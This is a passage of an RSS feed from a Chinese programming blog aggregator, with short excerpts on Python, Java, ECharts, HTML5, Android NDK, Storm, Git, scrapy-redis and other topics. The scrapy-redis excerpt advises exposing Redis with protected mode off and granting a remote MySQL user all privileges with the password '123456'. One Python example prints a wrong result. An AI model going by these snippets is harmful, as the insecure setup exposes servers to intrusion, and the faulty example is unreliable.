调用超类构造方法，实例初始化方法，私有方法，对应常量池中的第20行。9:astore_1 : 将栈顶引用型数值存入第二个本地变量，这里对应 LocalVariableTable 中的 string1。10:return : 从当前方法返回 void。 我们可以看到new 的方式创建字符串会创建两个实例 ，他们分别使用字节码指令new创建出来的string对象和从常量池ldc到栈顶的字面量</description>
    </item>
    <item>
      <title>Python 实现字符串反转的9种方法</title>
      <link>https://bchobby.github.io/posts/2429f26a873c28f4b69b9e82e514f0c6/</link>
      <pubDate>Sun, 30 Sep 2018 17:10:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2429f26a873c28f4b69b9e82e514f0c6/</guid>
      <description>在做leetcode的试题中，做到反转整数，就涉及到字符串反转，为了尽可能可以写出更多的方法，于是写下这篇文章&#xA;样例：如 a=&#39;123456789&#39; 反转成 a=&#39;987654321&#39;&#xA;第一种方法：使用字符串切片&#xA;&amp;gt;&amp;gt;&amp;gt; a=&#39;123456789&#39; &amp;gt;&amp;gt;&amp;gt; a = a[::-1] &#39;987654321&#39; 第二种方法：使用reversed() 可读行好，但速度较慢&#xA;&amp;gt;&amp;gt;&amp;gt; &#39;&#39;.join(reversed(&#39;123456789&#39;)) &#39;987654321&#39; 封装使用&#xA;def reversed_string(a_string): return a_string[::-1] &amp;gt;&amp;gt;&amp;gt; reversed_string(&#39;123456789&#39;) &#39;123456789&#39; 注意：&#xA;python的str对象中没有内置的反转函数&#xA;python字符串相关基础知识：&#xA;python中，字符换是不可变，更改字符串不会修改字符串，而是创建一个新的字符串。&#xA;字符串是可切片，切片字符串会以给定的增量从字符串中的一个点（向后或向前）向另一个点提供一个新字符串。它们在下标中采用切片表示法或切片对象：&#xA;# 下标通过在大括号中包含冒号来创建切片： string[start:stop:step] # 要在大括号外创建切片，您需要创建切片对 slice_obj = slice(start, stop, step) string[slice_obj] 第三种方法：循环从字符串提取数据，然后进行字符串拼接（慢）&#xA;def reverse_a_string_slowly(a_string): new_string = &#39;&#39; index = len(a_string) while index: index -= 1 # index = index - 1 new_string += a_string[index] # new_string = new_string + character return new_string 第四种方法：循环从字符串提取数据，写入到一个空列表中，然后使用join进行字符串拼接（慢）</description>
    </item>
    <item>
      <title>echarts图表在Vue中双纵轴刻度不齐</title>
      <link>https://bchobby.github.io/posts/0acfe4397959c2ef46cacd2e49d579af/</link>
      <pubDate>Sat, 29 Sep 2018 16:35:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0acfe4397959c2ef46cacd2e49d579af/</guid>
      <description>我们一般都是用的动态数据，ecarts在处理纵轴数值的时候，所以在处理这些数据时会&#34;友好&#34;的将纵轴分段便于分析。然而在多纵轴中容易引起麻烦，因为两个的数据差异较大，导致纵轴分段数不易很难看，即使设置了splitNum,它也会在它认为好的情况下，自顾自的进行分段。&#xA;那没办法了，我只能把它写死固定分段数，我选择固定5段，因为能整除，不能整除的情况我没有试，有人试了可以来分享一下。&#xA;首先我们需要固定最大和最小值，最小值一般是0，具体需求也可以变动，那我们就需要一个函数求值。&#xA;// data1是后端传的数据数组，展开取最大值，转为字符串，再展开取第一位数字，这样来对最大值向上取整 // 如果是小数的话 let maxArr1 = Math.max(...data1).toString().split(&#39;.&#39;)[0],根据需要判断; let maxArr1 =[...Math.max(...data1).toString()]; //最大位加以，乘上10的位数减一 次幂，比如3243，取得第一位 &#34;3&#34; ,转为数字3，加一，为4，再成10^(4-1),就取到4000，来做纵轴最大值，避免直接取dataMax,使最大那条数据一柱擎天，不好看 let num1 = (Number(maxArr1[0])+1)* Math.pow(10,maxArr1.length-1); //第二个纵坐标轴 let maxArr2 =[...Math.max(...data2).toString()];// data2是后端传的数据数组 let num2 = (Number(maxArr2[0])+1)*Math.pow(10,maxArr2.length-1);// 同样操作 this.option.yAxis[0].interval =num1/5;// 间隔为5份 this.option.yAxis[0].max = num1; // 赋值最大值 this.option.yAxis[1].interval =num2/5; // 间隔为5份 this.option.yAxis[1].max = num2;// 赋值最大值 其中还遇到的问题，就是从网上查的，都是在options前设置的max,和interval，而在vue中我们的max依赖于后台传的数据，所以无法在data的return前定义，那怎么不再return前请求这个数据的，因为请求需要传的参数要从data中拿啊，在return前拿不到return中的数据我也很无奈。 data(){ // 在这里可以定义一些全局变量，option可以直接使用，也可以通过this.数据看来获取return的数据，但不能拿到computed的数据，反正我是没拿到 return{ option8 : { grid: { left:50, right:10, top:&#39;20%&#39;, height:&#39;50%&#39; }, legend: { }, xAxis: { data: [] , silent: false, splitLine: {show: false}, splitArea: {show: false}, axisTick: { alignWithLabel: true }, axisLine: { onZero: true, lineStyle:{ color:&#39;#16707a&#39; } }, axisLabel:{ // interval: 0, color:&#39;#009aa1&#39;, margin: 15, }, }, yAxis: [ { type:&#39;value&#39;, name:&#39;气温&#39;, max:null, min:0, interval:null, nameTextStyle:{ color:&#39;red&#39; }, axisLabel:{ color:&#39;blue&#39;, margin:15, }, axisLine: { onZero: true, lineStyle:{ color:&#39;green&#39; } }, splitLine:{ lineStyle:{ color:&#39;rgba(34,152,158,0.</description>
    </item>
    <item>
      <title>Python数组元素添加修改与删除</title>
      <link>https://bchobby.github.io/posts/67258b7e11a418c2beb25a37a47e1806/</link>
      <pubDate>Sat, 29 Sep 2018 12:13:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67258b7e11a418c2beb25a37a47e1806/</guid>
      <description> 数组&#xA;数组是一种有序的集合，可以随时添加和删除其中的元素。&#xA;数组定义&#xA;student=[&#39;jack&#39;,&#39;Bob&#39;,&#39;Harry&#39;,&#39;Micle&#39;] print(student) 访问数组元素&#xA;用索引来访问list中每一个位置的元素，记得索引是从0开始的：&#xA;student=[&#39;jack&#39;,&#39;Bob&#39;,&#39;Harry&#39;,&#39;Micle&#39;] print(student) print(student[0]) print(student[3]) print(student[-1]) #访问最后一个元素 注意：当索引超出了范围时，Python会报一个IndexError错误，所以，要确保索引不要越界。&#xA;比如：print(student[4] 就会报以下错误：&#xA;添加元素&#xA;#末尾添加元素 student.append(&#39;51zxw&#39;) print(student) #指定位置添加元素 student.insert(0,&#39;hello&#39;) print(student) 修改元素&#xA;#将hello的值变成NO.1 student[0]=&#39;NO.1&#39; print(student) 删除元素&#xA;#删除末尾元素 student.pop() print(student) #删除指定位置元素 student.pop(1) print(student) </description>
    </item>
    <item>
      <title>tomcat启动报错jar not loaded</title>
      <link>https://bchobby.github.io/posts/9e99323c3cf0cf7ecec6ab690576deeb/</link>
      <pubDate>Fri, 28 Sep 2018 17:09:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e99323c3cf0cf7ecec6ab690576deeb/</guid>
      <description>validateJarFile(F:\ProgramDemo\shop\out\artifacts\shop_war_exploded\WEB-INF\lib\servlet-api.jar) - jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class&#xA;这里是servlet-api这个jar包加载失败，tomcat启动报错。&#xA;问题的原因：在你的tomcat安装目录下的lib的文件夹中，有一个servlet-api.jar包，而在你的项目的lib中也有一个相同的jar包。tomcat的启动逻辑是首先加载自己目录下的包，然后再加载项目lib下的包。当tomcat已经加载完自己目录下的jar包后会和项目下的jar包产生冲突。从而报错。&#xA;解决方法，删除其中的一个jar包就可以了</description>
    </item>
    <item>
      <title>硬件工程师常见笔试题</title>
      <link>https://bchobby.github.io/posts/27aabe9ba178a337b6e1dff6646dbd73/</link>
      <pubDate>Fri, 28 Sep 2018 15:14:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27aabe9ba178a337b6e1dff6646dbd73/</guid>
      <description>一、电路分析：&#xA;1、竞争与冒险&#xA;在组合逻辑中，在输入端的不同通道数字信号中经过了不同的延时，导致到达该门的时间不一致叫竞争。因此在输出端可能产生短时脉冲（尖峰脉冲）的现象叫冒险。&#xA;常用的消除竞争冒险的方法有：输入端加滤波电容、选通脉冲、修改逻辑设计等。&#xA;2、同步与异步&#xA;同步逻辑是时钟之间有固定的因果关系。异步逻辑是各时钟之间没有固定的因果关系。&#xA;同步电路：存储电路中所有触发器的时钟输入端都接同一个时钟脉冲源，因而所有触发器的状态的变化都与所加的时钟脉冲信号同步。&#xA;异步电路：电路没有统一的时钟，有些触发器的时钟输入端与时钟脉冲源相连，只有这些触发器的状态变化与时钟脉冲同步，而其它的触发器的状态变化不与时钟脉冲同步。&#xA;异步电路不使用时钟脉冲做同步，其子系统是使用特殊的“开始”和“完成”信号使之同步；&#xA;同步就是双方有一个共同的时钟，当发送时，接收方同时准备接收。异步双方不需要共同的时钟，也就是接收方不知道发送方什么时候发送，所以在发送的信息中就要有提示接收方开始接收的信息，如开始位，结束时有停止位。&#xA;3、常用PCB画图软件：&#xA;Altium公司的protel99(旧版本)、Altium Designer（新版本，中低速板最常用，功能强大，操作简单容易上手）；Cadence公司的Allegro（高速板/多层板常用）；MentorGraphics的PADS&#xA;4、Setup 和Hold time&#xA;Setup/hold time 是测试芯片对输入信号和时钟信号之间的时间要求。建立时间是指触发器的时钟信号上升沿到来以前，数据稳定不变的时间。输入信号应提前时钟上升沿（如上升沿有效）T时间到达芯片，这个T就是建立时间-Setup time.如不满足setup time,这个数据就不能被这一时钟打入触发器，只有在下一个时钟上升沿，数据才能被打入触发器。保持时间是指触发器的时钟信号上升沿到来以后，数据稳定不变的时间。如果hold time不够，数据同样不能被打入触发器。&#xA;5、IC设计中同步复位与异步复位的区别 同步复位在时钟沿采集复位信号，完成复位动作。异步复位不管时钟，只要复位信号满足条件，就完成复位动作。 异步复位对复位信号要求比较高，不能有毛刺，如果其与时钟关系不确定，也可能出现亚稳态。&#xA;6、常用的电平标准&#xA;TTL： transistor-transistor logic gate晶体管－晶体管逻辑门&#xA;CMOS：Complementary Metal Oxide Semiconductor互补金属氧化物半导体&#xA;LVTTL(Low Voltage TTL)、LVCMOS(Low Voltage CMOS)：3.3V、2.5V&#xA;RS232、RS485&#xA;7、TTL电平与CMOS电平&#xA;TTL电平和CMOS电平标准&#xA;TTL电平： 5V供电&#xA;输出 L： &amp;lt;0.4V ； H：&amp;gt;2.4V 1 输入 L： &amp;lt;0.8V ； H：&amp;gt;2.0V 0&#xA;CMOS电平：（一般是12V供电）&#xA;输出 L： &amp;lt;0.1*Vcc ； H：&amp;gt;0.9*Vcc 输入 L： &amp;lt;0.3*Vcc ； H：&amp;gt;0.7*Vcc.&#xA;CMOS电路临界值（电源电压为＋5V）&#xA;VOHmin =4.</description>
    </item>
    <item>
      <title>SAP S/4 HANA 1809请查收</title>
      <link>https://bchobby.github.io/posts/79b44a34fbea5d7724caa3a43c850ec2/</link>
      <pubDate>Fri, 28 Sep 2018 11:31:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79b44a34fbea5d7724caa3a43c850ec2/</guid>
      <description>更多内容关注公众号：SAP Technical 点击进入：SAP S/4 HANA 1809请查收&#xA;SAP S/4 HANA是一种智能ERP解决方案，可帮助公司抓住当今数字世界中的每一个机会，消除了与传统ERP应用相关的常见障碍，例如批量延迟，复杂环境和手动驱动流程。利用智能ERP系统，通过灵活性，速度和洞察力来应对当今的挑战和未来的机遇。&#xA;通过利用机器学习进行物流，制造和资产管理，提高整个数字供应链的可见性和灵活性。将智能应用与机器学习结合使用，以改善供应商管理，简化采购，并部署协作采购和合同管理。全面了解运营情况并利用客户洞察力帮助营销，销售和服务团队更高效地工作，增加收入的机会。通过自定义核心系统满足客户的个人组织的特定需求，而无需集成和自定义编码的典型做法。&#xA;2018年，SAP S/4 HANA的另一个里程碑！SAP S/4 HANA 1809发布了！自SAP S/4 HANA 1709发布以来，SAP已经做了大量的创新，并且逐步走向了智能系统的道路上。&#xA;更多内容请关注公众号：SAP Technical</description>
    </item>
    <item>
      <title>H5标签变化1(DTD、新增标签：结构标签，多媒体标签，web应用标签还有其他标签、删除标签、重定义标签)</title>
      <link>https://bchobby.github.io/posts/f6c03a433373fbdd162707865f7d91a6/</link>
      <pubDate>Fri, 28 Sep 2018 10:04:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6c03a433373fbdd162707865f7d91a6/</guid>
      <description>h5新增标签&#xA;html5约等于HTML+CSS+Javascript+API&#xA;WebApp HTML5新增了离线存储、更丰富的表单、js线程、socket、标准扩展embed、css3...&#xA;流媒体与多媒体引擎 Audio、video、Canvas、webgl等等&#xA;搜索引擎和无障碍领域 h5是唯一一个通吃PC、Mac、iPhone、Android等主流平台的跨平台语言。&#xA;标签变化 DTD、新增的标签、删除的标签、重定义的标签&#xA;页面布局 新的页面布局、区别和意义&#xA;属性变化 input、表单属性、链接属性、其他属性&#xA;HTML5展望 简述API、简述Canvas、移动端应用&#xA;支持H5的浏览器有：IE9+、Firefox、Opera、Sadari、Chrome&#xA;文档类型定义（DTD）:&#xA;DTD:可定义合法的xml文档构建模块，它使用一系列合法的元素来定义文档的结构。&#xA;在HTML中：DTD规定了标记语言的规则，这样浏览器才能正确地呈现内容。&#xA;HTML5中：不基于SGML,所以不需要引用DTD.&#xA;新增的标签：&#xA;结构标签多媒体标签web应用标签其他标签 结构标签（块状元素）——有意义的div&#xA;&amp;lt;article&amp;gt; &amp;lt;header&amp;gt; &amp;lt;nav&amp;gt; &amp;lt;section&amp;gt; &amp;lt;aside&amp;gt; &amp;lt;hgroup&amp;gt; &amp;lt;figure&amp;gt;标记定义一组媒体内容以及它们的标题。&amp;lt;figcaption&amp;gt;定义figure元素的标题。&amp;lt;footer&amp;gt; &amp;lt;dialog&amp;gt;&#xA;&amp;lt;section&amp;gt; &amp;lt;hgroup&amp;gt; &amp;lt;h1&amp;gt;树下的猫&amp;lt;/h1&amp;gt; &amp;lt;h3&amp;gt;文/艾米&amp;lt;/h3&amp;gt; &amp;lt;h4&amp;gt; 三头王：异域王族，拥有蜘蛛头、人头、狮子头的三头大蜘蛛，修炼万蛛魔功、狮子吼、无畏狮子印等，其中黄金三头王为其王族，最为强大罕见 血凰狮：堕落血凰跟古僧一脉的“无畏狮子”结合的后代&amp;lt;/h4&amp;gt; &amp;lt;/hgroup&amp;gt; &amp;lt;aside&amp;gt; &amp;lt;a href=&#34;#se1&#34;&amp;gt;Section One&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;#se2&#34;&amp;gt;Section Two&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;#se3&#34;&amp;gt;Section Three&amp;lt;/a&amp;gt; &amp;lt;/aside&amp;gt; &amp;lt;/section&amp;gt; &amp;lt;section&amp;gt; &amp;lt;figure&amp;gt; &amp;lt;figcaption&amp;gt;树下的猫咪怎么生存&amp;lt;/figcaption&amp;gt; &amp;lt;div class=&#34;video&#34;&amp;gt;。。。&amp;lt;/div&amp;gt; &amp;lt;/figure&amp;gt; &amp;lt;/section&amp;gt; &amp;lt;section&amp;gt; header/section/aside/article/footer 不要互相嵌套级别高低：header/section/footer &amp;gt; aside/article/figure/hgroup/nav &amp;gt;div/figcaption 级别高的我们通常写在外层，互不嵌套。 多媒体标签：&#xA;&amp;lt;video&amp;gt; 标记定义一个视频</description>
    </item>
    <item>
      <title>完美解决  No toolchains found in the NDK toolchains folder for ABI with prefix: mips64el-linux-android</title>
      <link>https://bchobby.github.io/posts/80c47360277641ca8b42fc295851a7fa/</link>
      <pubDate>Thu, 27 Sep 2018 20:44:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80c47360277641ca8b42fc295851a7fa/</guid>
      <description>问题描述 好久之前的一个Android项目，最近需要重构一下&#xA;因为Android Studio的开发环境以及Gradle的版本等等都进行了一定的更新，于是导入Project以后，出现了报错：&#xA;No toolchains found in the NDK toolchains folder for ABI with prefix: mips64el-linux-android&#xA;如图所示：&#xA;显然这个错误是由于Android3.0（当然也可能是更高的版本）开发环境的版本更新所导致的&#xA;相关背景 NDK,是Native Development Kit的缩写，这是 Android的一个工具开发包，与java语言没有直接的关系&#xA;Native就是指C、C++这些语言&#xA;使用NDK可以快速开发C、C++的动态库，并自动将这些so文件与其他内容一起打包成APK&#xA;Android Studio环境下关于NDK的配置 先把目录切换为Project模式，点这个地方就行&#xA;然后选择local.properties文件，就是我标红的这个&#xA;可以看到这里记录了NDK和SDK在本地计算机上的存储路径&#xA;进一步分析 首先打开SDK manager&#xA;出现以下界面&#xA;这里可以看到我的NDK是已经下载好的&#xA;那么这个下载好的NDK的路径在哪里呢，或者说这个下载好的NDK究竟放在哪里呢，我们查找一下&#xA;如下图操作，打开project structure&#xA;弹出如下界面&#xA;这里就是我们NDK的路径（位置了）&#xA;把这个路径复制一下，然后在我的电脑中打开，如图所示&#xA;打开这个目录下的toolchains文件夹&#xA;可以看到，这里确实没有IDE里报错说我们需要的那种库&#xA;解决方法 打开如下链接，这是Android开发者的官方网站&#xA;https://developer.android.com/ndk/downloads/?hl=zh-cn&#xA;选择这个&#xA;点击下载&#xA;这个还是挺大的，需要等一会儿&#xA;下载完成后，解压缩，如图所示&#xA;打开这个目录下的toolchain文件夹，找到报错信息里你缺少的文件夹，比如我缺少的文件如下图所示&#xA;把这个文件夹复制到NDK所在的路径即可&#xA;打开NDK所在路径的方法上面已经说过了&#xA;大功告成</description>
    </item>
    <item>
      <title>mui上拉刷新和下拉加载</title>
      <link>https://bchobby.github.io/posts/b5630e399c6e2927c45b259b544ea304/</link>
      <pubDate>Thu, 27 Sep 2018 20:26:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5630e399c6e2927c45b259b544ea304/</guid>
      <description>mui是h5十大框架之一。很好用，但是针对不同的场景，文档的描述不够我们理解。&#xA;场景：通过mui的上拉加载更多数据，下拉刷新回刚刚进入当前页面的状态。笔者设置每次上拉就清空旧页面的内容，把新加载的10条数据渲染到页面上，当下拉时候，恢复到第一次加载的状态。&#xA;问题：当上拉加载的数据达到最多时候，通过&#xA;mui(&#39;#pullrefresh&#39;).pullRefresh().endPullupToRefresh(true) 设定不让继续上拉加载。然后当下拉刷新想要回复上拉加载，采用如下：&#xA;mui(&#39;#pullrefresh&#39;).pullRefresh().endPullupToRefresh(false); 测试发现，没办法恢复上拉加载的功能。&#xA;笔者也尝试了用：&#xA;mui(&#39;#pullup-container&#39;).pullRefresh().refresh(true); mui(&#39;#pullup-container&#39;).pullRefresh().disablePullupToRefresh(); mui(&#39;#pullup-container&#39;).pullRefresh().enablePullupToRefresh(); 来做测试。但是只有当使用禁用和启动交互时候可以恢复，但是当刷新的时候，会自动执行一次上拉加载动作。所以这些方案都被笔者废弃了。针对上面这些，笔者又尝试如何不让mui再执行刷新动作时候不自动执行一次上拉加载动作，经过研究发现如下调用启用上拉功能的代码，就不会自动执行一次上拉加载的动作：&#xA;setTimeout(&#34;enablepull&#34;,1000);//延时至少1s，小于1s就不行。 function enablepull(){ mui(&#39;#pullup-container&#39;).pullRefresh().enablePullupToRefresh(); } 上面虽然可以解决，但是笔者还是觉得不好，又尝试了一种曲线救国的方式：&#xA;设定全局变量enablepull&#xA;每次获取结果之后都判断是否还有更多数据，如果没有更多，那么enablepull=false;&#xA;这样每次上拉之前做如下判断：&#xA;if (!enablePullUp) { mui(&#39;#pullrefresh&#39;).pullRefresh().endPullupToRefresh(false); mui.toast(&#34;没有更多数据了&#34;); return; } 成功解决问题。&#xA;------------------------ 本文来自 独行侠_阿涛 的CSDN 博客 ，全文地址请点击：https://blog.csdn.net/wltsysterm/article/details/79270537?utm_source=copy</description>
    </item>
    <item>
      <title>storm部署问题：Could not find leader nimbus from seed hosts</title>
      <link>https://bchobby.github.io/posts/bb2f70f6dc7185c5df2ffd267dde5d39/</link>
      <pubDate>Thu, 27 Sep 2018 20:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb2f70f6dc7185c5df2ffd267dde5d39/</guid>
      <description>应用程序及版本： zookeeper：3.4.5storm：1.1.1 问题出现点： 在linux系统重新部署storm集群，相关storm配置如下：&#xA;storm.zookeeper.servers: - &#34;node-01&#34; - &#34;node-02&#34; - &#34;node-03&#34; # nimbus.seeds: [&#34;node-01&#34;, &#34;node-02&#34;, &#34;node-03&#34;] # storm.local.dir: &#34;/export/data/storm&#34; ui.port: 8080 supervisor.slots.ports: - 6700 - 6701 分别启动nimbus、ui、supervisor，使用jps指令，显示各项程序正常：&#xA;2346 nimbus&#xA;3130 Jps&#xA;2347 core&#xA;1996 QuorumPeerMain&#xA;2348 logviewer&#xA;但进入ui界面发现报以下错误：&#xA;org.apache.storm.utils.NimbusLeaderNotFoundException: Could not find leader nimbus from seed hosts [localhost]. Did you specify a valid list of nimbus hosts for config nimbus.seeds? at org.apache.storm.utils.NimbusClient.getConfiguredClientAs(NimbusClient.java:90) 问题原因： 由于是重新部署的storm，原先旧的storm已在zookeeper中注册了信息，只要进入zookeeper客户端将storm删除：&#xA;./bin/zkCli.sh ls / rmr /storm 重启storm集群即可。</description>
    </item>
    <item>
      <title>IDEA，WebStorm，AndroidStudio使用Git提交代码到码云仓库</title>
      <link>https://bchobby.github.io/posts/515c17fca75ed7bb07a2c8811179a2fd/</link>
      <pubDate>Thu, 27 Sep 2018 17:20:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/515c17fca75ed7bb07a2c8811179a2fd/</guid>
      <description> 因为idea，webstorm，AndroidStudio同属一个公司开发，风格很是相似，并且它们使用Git托管代码的方式也是一样的。&#xA;在此记录下把本地代码提交到码云上的远程仓库步骤。&#xA;1.在码云上面新建项目，不要勾选readme文件。&#xA;2.配置Git&#xA;3.创建本地Git仓库&#xA;4.安装ignore插件，项目中的某些文件没必要加入版本控制，这里通过ignore插件来添加忽略&#xA;5. 新建.gitignore文件，如果你的项目中已有该文件，请略过此步骤。&#xA;6.添加忽略文件，可以在.gitignore文件中手动添加，也可以通过右键指定文件添加 6.本地仓库和远程仓库建立连接&#xA;远程仓库地址如下：&#xA;7.fetch&#xA;8.添加文件到本地Git仓库&#xA;9.提交代码，选择commit and push&#xA;箭头1指的是提交的快捷方式，在idea和ws中是个对号图标，在as中是个向上的箭头。&#xA;箭头2指的是要提交的内容，如果你的提交内容中显示的有忽略的文件，请看第10步。&#xA;箭头3指的是对本次提交的描述。&#xA;箭头4是提交按钮。&#xA;箭头5是提交的同时推送到远程仓库&#xA;10.之所以提交的时候没有过滤掉.gitignore文件中配置的内容，是因为你在配置忽略文件之前，把要忽略的文件已经添加到了本地的Git仓库，解决办法如下：&#xA;打开软件的命令终端，输入如下两条命令&#xA;此时再点击提交按钮，提交的内容区域应该已经没有了忽略的文件。&#xA;11.提交成功，刷新网页，可以看到代码已经提交了上来。此时，你可以选择添加readme文件。&#xA;12.更新&#xA;idea和ws中是左下的箭头图标，as中是向下的箭头图标&#xA;更新完成后可以看到刚刚添加的readme文件已经出现在项目中了&#xA;好了，到此代码托管已经完成，不用担心哪天电脑罢工导致项目丢失了。 </description>
    </item>
    <item>
      <title>Python绘图Turtle库详解</title>
      <link>https://bchobby.github.io/posts/70c61ac9b2b9bab4f05dc34588ee3cd1/</link>
      <pubDate>Thu, 27 Sep 2018 15:19:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70c61ac9b2b9bab4f05dc34588ee3cd1/</guid>
      <description>Turtle库是Python语言中一个很流行的绘制图像的函数库，想象一个小乌龟，在一个横轴为x、纵轴为y的坐标系原点，(0,0)位置开始，它根据一组函数指令的控制，在这个平面坐标系中移动，从而在它爬行的路径上绘制了图形。&#xA;turtle绘图的基础知识： 1. 画布(canvas)&#xA;画布就是turtle为我们展开用于绘图区域，我们可以设置它的大小和初始位置。&#xA;设置画布大小&#xA;turtle.screensize(canvwidth=None, canvheight=None, bg=None)，参数分别为画布的宽(单位像素), 高, 背景颜色。&#xA;如：turtle.screensize(800,600, &#34;green&#34;)&#xA;turtle.screensize() #返回默认大小(400, 300)&#xA;turtle.setup(width=0.5, height=0.75, startx=None, starty=None)，参数：width, height: 输入宽和高为整数时, 表示像素; 为小数时, 表示占据电脑屏幕的比例，(startx, starty): 这一坐标表示矩形窗口左上角顶点的位置, 如果为空,则窗口位于屏幕中心。&#xA;如：turtle.setup(width=0.6,height=0.6)&#xA;turtle.setup(width=800,height=800, startx=100, starty=100)&#xA;2. 画笔&#xA;2.1 画笔的状态&#xA;在画布上，默认有一个坐标原点为画布中心的坐标轴，坐标原点上有一只面朝x轴正方向小乌龟。这里我们描述小乌龟时使用了两个词语：坐标原点(位置)，面朝x轴正方向(方向)， turtle绘图中，就是使用位置方向描述小乌龟(画笔)的状态。&#xA;2.2 画笔的属性&#xA;画笔(画笔的属性，颜色、画线的宽度等)&#xA;1) turtle.pensize()：设置画笔的宽度；&#xA;2) turtle.pencolor()：没有参数传入，返回当前画笔颜色，传入参数设置画笔颜色，可以是字符串如&#34;green&#34;, &#34;red&#34;,也可以是RGB 3元组。&#xA;3) turtle.speed(speed)：设置画笔移动速度，画笔绘制的速度范围[0,10]整数，数字越大越快。&#xA;2.3 绘图命令&#xA;操纵海龟绘图有着许多的命令，这些命令可以划分为3种：一种为运动命令，一种为画笔控制命令，还有一种是全局控制命令。&#xA;(1) 画笔运动命令&#xA;命令&#xA;说明&#xA;turtle.forward(distance)&#xA;向当前画笔方向移动distance像素长度&#xA;turtle.backward(distance)&#xA;向当前画笔相反方向移动distance像素长度&#xA;turtle.right(degree)&#xA;顺时针移动degree°&#xA;turtle.left(degree)&#xA;逆时针移动degree°&#xA;turtle.pendown()&#xA;移动时绘制图形，缺省时也为绘制&#xA;turtle.goto(x,y)&#xA;将画笔移动到坐标为x,y的位置&#xA;turtle.penup()</description>
    </item>
    <item>
      <title>Qt5.9输入一个符号反斜杠&#34;\&#34;问题</title>
      <link>https://bchobby.github.io/posts/ad41794abd8ef2bd7d6544f675c10f1c/</link>
      <pubDate>Thu, 27 Sep 2018 14:54:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad41794abd8ef2bd7d6544f675c10f1c/</guid>
      <description>在Qt5.9用Creator编写C/C++程序时，当需要一个QString类型的反斜杠符号时，不能直接输入反斜杠符号&#34;\&#34;，而是需要输入双反斜杠符号&#34;\\&#34;。&#xA;参考内容：&#xA;https://blog.csdn.net/chengdongyuan/article/details/53409540（参考：Windows反斜杠）</description>
    </item>
    <item>
      <title>python 爬虫——部署scrapy-redis分布式爬虫及部署分布式爬虫后但是只能单机运行原因</title>
      <link>https://bchobby.github.io/posts/2bd53e22012230a227363a4cb06abbea/</link>
      <pubDate>Thu, 27 Sep 2018 13:11:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bd53e22012230a227363a4cb06abbea/</guid>
      <description>1准备 ：redis数据库，Python的scrapy-redis包，[mysql数据库]redis安装目录下redis.windows.conf 配置文件修改bind 0.0.0.0[或局域网内,外网的IP地址]&#xA;protected-mode no&#xA;2配置scrapy settings文件设置设置&#xA;SCHEDULER = &#34;scrapy_redis.scheduler.Scheduler&#34; DUPEFILTER_CLASS = &#34;scrapy_redis.dupefilter.RFPDupeFilter&#34; ITEM_PIPELINES = { &#39;scrapy_redis.pipelines.RedisPipeline&#39;: 300, # &#39;其他&#39; } REDIS_HOST = &#39;192.168.216.94&#39; REDIS_PORT = 6379 [如果需要密码则REDIS_PASSWORD=&#34;&#34;] 3修改Spider 文件:&#xA;spider 文件里导入from scrapy_redis.spiders import RedisSpider,并且让爬虫类继承RedisSpider&#xA;取消start_urls,并在spider文件中设置redis_key =&#39;你的redis的表名&#39;&#xA;class JobboleSpider(RedisSpider): name = &#39;jobbole&#39; allowed_domains = [&#39;jobbole.com&#39;] # start_urls = [&#39;http://blog.jobbole.com/all-posts/&#39;] # lpush jobbole:start_urls http://blog.jobbole.com/all-posts/ redis_key = &#39;jobbole:start_urls&#39; 4.运行&#xA;开启服务(如没配置redis环境变量需进入redis安装目录下)shift键+鼠标右键打开命令行,输入redis-server redis.windows.conf&#xA;如启动时遇见错误可以试一下redis-cli(如果bind的是127.0.0.1就可以不需要-h参数,其他地址就不行,如果) 然后shutdown,再次redis-server redis.windows.conf启动服务。&#xA;换其他机器测试(其他机器不必打开redis服务)cmd下redis-cli -h IP,连接成功表示成功,然后传输源代码,如果cmd能连接上redis但是运行scrapy时候却报类似&#34;拒绝&#34;这种服务可以先检查settings中redis的参数是否是因为没有密码而有中括号中的redis://[root@IP:port].如果没密码去掉中括号内的字符即可。&#xA;(如果需要配置远程mysql服务器的话需要现在mysql中设置一个可以远程登录的账号:创建用户create user myroot identified by &#39;123456&#39;;赋予权限grant all privileges on *.</description>
    </item>
    <item>
      <title>Microsoft Outlook无法启动，无法打开此文件夹集合，无法访问文件xxxxx.ost的解决办法</title>
      <link>https://bchobby.github.io/posts/8efed3d19da45d9f0ec8cd47649c4267/</link>
      <pubDate>Thu, 27 Sep 2018 11:22:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8efed3d19da45d9f0ec8cd47649c4267/</guid>
      <description>启动Outlook时提示错误：&#xA;无法启动 Microsoft Outlook。无法打开 Outlook 窗口。无法打开此文件夹集合，无法访问文件xxxxx.ost。至少须跟 Microsoft Exchange 连接一次，才能使用 Outlook 数据文件(.ost)。&#xA;解决办法：&#xA;打开控制面板--邮件，点击显示配置文件。&#xA;默认始终使用配置文件outlook，由于此文件出现异常导致不能打开Outlook，选中后删除，点击确定退出。&#xA;再次打开Outlook会提示新建配置文件，输入配置文件名后点击确定，按提示进行配置后即可打开Outlook。</description>
    </item>
    <item>
      <title>adminLTE使用中遇到的难点</title>
      <link>https://bchobby.github.io/posts/707164300e7a9eac5e055f75fe13044d/</link>
      <pubDate>Thu, 27 Sep 2018 10:46:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/707164300e7a9eac5e055f75fe13044d/</guid>
